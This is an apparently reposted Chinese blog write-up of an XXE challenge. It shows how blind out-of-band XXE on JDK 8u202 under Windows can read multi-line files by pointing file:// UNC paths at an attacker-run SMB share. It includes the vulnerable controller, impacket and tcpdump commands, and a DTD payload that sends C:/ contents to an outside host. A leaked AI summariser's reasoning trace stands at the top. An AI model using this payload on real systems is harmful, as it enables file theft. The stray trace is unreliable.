No-FTP:高版本JDK如何通过XXE-OOB读取多行文件
嗯,用户让我帮忙总结一篇文章的内容,控制在100字以内,而且不需要用“文章内容总结”或者“这篇文章”这样的开头。直接写描述就行。首先,我得仔细阅读这篇文章,理解它的主要内容。 文章主要讲的是XXE漏洞的实际利用,特别是当没有回显的时候,通常需要使用OOB方式来带出数据。传统的HTTP协议外带在遇到换行符时会失败,所以早期用FTP服务器来解决。但后来高版本修复了这个问题。于是作者通过一个朋友的挑战展开了研究。 接下来是环境分析,他们用的是JDK8U202和Windows系统。代码部分显示这是一个异步处理的XXE漏洞,还有try-catch机制和无报错输出,增加了利用的难度。 破局思路部分提到Java协议中的file协议可以在Windows下触发SMB协议交互,file协议没有换行限制。通过构造DTD利用file协议读取文件内容。 总结一下,文章主要讨论了XXE漏洞在没有回显情况下的利用方法,特别是通过file协议和SMB交互来绕过限制。 现在我要把这些内容浓缩到100字以内。要抓住关键点:XXE漏洞、OOB方式、传统HTTP限制、file协议在Windows下的利用、构造DTD读取文件。 所以最终的总结应该是:文章探讨了XXE漏洞在无回显场景下通过OOB方式利用的问题,传统HTTP受限后转向FTP但被修复。研究发现,在Windows环境下可利用file协议触发SMB交互绕过限制,并通过构造DTD实现文件读取。 </think> 文章探讨了XXE漏洞在无回显场景下的利用方法,传统HTTP外带受限后转向FTP但被修复。研究发现,在Windows环境下可利用file协议触发SMB交互绕过限制,并通过构造DTD实现文件读取。 2025-11-10 11:23:22 Author: y4tacker.github.io(查看原文) 阅读量:18 收藏

写在前面

在XXE(XML External Entity Injection)的实际利用中,当遇到没有回显的场景时,通常需要通过OOB(Out-of-Band)方式将数据带出。
传统的XXE-OOB利用中,如果目标文件包含换行符,直接通过HTTP协议外带会因为HTTP请求格式的限制(sun.net.www.protocol.http.HttpURLConnection#checkURL)导致解析失败,早期常用的解决方案是搭建恶意FTP服务器,利用FTP协议对数据格式限制较少的特点,完整接收多行文件内容,但在后面高版本的修复中通过ftp 外带多行数据也被修复了,而机缘巧合下看到朋友发起了一个 XXE 挑战,因而才有了后续的研究

环境分析

Killer的原始小挑战:https://mp.weixin.qq.com/s/Hdd1LeWtzqnc2CGIhPIXBA

简单写写没有很高深的东西

代码非常简单,我们对其做一个简单梳理:

  • 存在 XXE 漏洞
  • XML 解析为异步操作(排除了利用时间差)
  • try-catch+无报错输出(排除了利用报错实现内容外带)

题目环境:

  • JDK:8U202(可以通过请求信息判断)
  • OS: WIndows(可以通过请求判断猜测不做展开)

通过以上的简单梳理我们知道了,我们需要达成的条件其实是要在 Windows 下通过远程外带读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package com.example.xxe.controller;

import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
import java.io.StringReader;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.CompletableFuture;


@RestController
@RequestMapping("/api/system")
public class BlindXxeController {

@PostMapping("/update-config")
public ResponseEntity<Map<String, Object>> updateSystemConfig(
@RequestParam("configXml") String configXml,
HttpServletRequest request) {

Map<String, Object> response = new HashMap<>();

try {
CompletableFuture.runAsync(() -> {
try {
SAXReader reader = new SAXReader();
Document document = reader.read(new StringReader(configXml));
processConfigDocument(document);

} catch (DocumentException e) {
System.err.println("配置处理错误: " + e.getMessage());
}
});
response.put("status", "success");
response.put("message", "配置更新请求已提交,正在后台处理");

return ResponseEntity.ok(response);

} catch (Exception e) {
response.put("status", "error");
response.put("message", "配置更新请求失败");
response.put("error", "系统内部错误");

return ResponseEntity.internalServerError().body(response);
}
}


private void processConfigDocument(Document document) {
try {
Element root = document.getRootElement();
List<Element> settings = root.elements("setting");
for (Element setting : settings) {
String name = setting.attributeValue("name");
String value = setting.getTextTrim();
System.out.println("更新配置: " + name + " = " + value);
}

System.out.println("配置处理完成,共处理 " + settings.size() + " 个配置项");

} catch (Exception e) {
System.err.println("配置处理异常: " + e.getMessage());
}
}

}

破局思路

其实如何完成这个挑战非常简单,回顾历史 JDK 修复从来都只是修复协议中出现的换行字符
我们也可以得到一个共识:协议只是数据的载体
首先我们需要知道的是 Java 有哪些协议呢,这个答案比较好找,找sun.net.www.protocol.下的 package 名即可知道
我这里本地环境是 jdk17,所以当前环境下存在 file/ftp/http(s)/jar/jmod/jrt/mailto 这几个协议,从字面猜测可能存在对外请求的有 ftp/http(s)/mailto

80EC0A62-FF0A-40B2-8205-602E54CD6EB4-70797-000022E778EBD57B

首先可以排除的就是 http(s) 以及 ftp,而 mailto 呢好巧不巧它实际上只是一个“启动器”协议,本身在 java 中并不能实现信息外带,本身没有实现 getInputStream

C83A1CFB-B8A0-43A8-AE24-69B38007D598-70797-000022E7876948A0

看起来表面上来看这些协议都不能用于请求外带了,那这时候真的就完全没办法了么?
显然并不是,我们一开始在环境解析过程中已知当前 Java 是在 Windows 系统下的,那么我们完全可以通过 file :走 UNC 触发 SMB 协议交互
经过测试 file 协议下确实并没有对换行做限制,报错只是因为带换行符的文件并不存在

A863CD81-B7DE-44F3-9AA7-1EC82C75F724-70797-000022E794541915

在 linux 上启动 SMB,需要注意impacket不会把解析失败的原始数据打印出来

1
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /tmp -smb2support -debug

所以还需要通过 tcpdump 获取完整协议交互流量

1
sudo tcpdump -i eth0 port 445 -A -s 0

构造 DTD,因为 java 的 file 自带列目录功能,我们首先需要读取 flag 的位置

1
2
<!ENTITY % file SYSTEM "file:///C:/">
<!ENTITY % all "<!ENTITY send SYSTEM 'file://ip/share/%file;'>">

4E576878-1338-40D4-9A81-6C33D7233F5B-70797-000022E79E7439B1

这时候我们便可以看到 flag 文件名接下来读取 flag 就不难了


文章来源: https://y4tacker.github.io/2025/11/10/year/2025/11/No-FTP-%E9%AB%98%E7%89%88%E6%9C%ACJDK%E5%A6%82%E4%BD%95%E9%80%9A%E8%BF%87XXE-OOB%E8%AF%BB%E5%8F%96%E5%A4%9A%E8%A1%8C%E6%96%87%E4%BB%B6/
如有侵权请联系:admin#unsafe.sh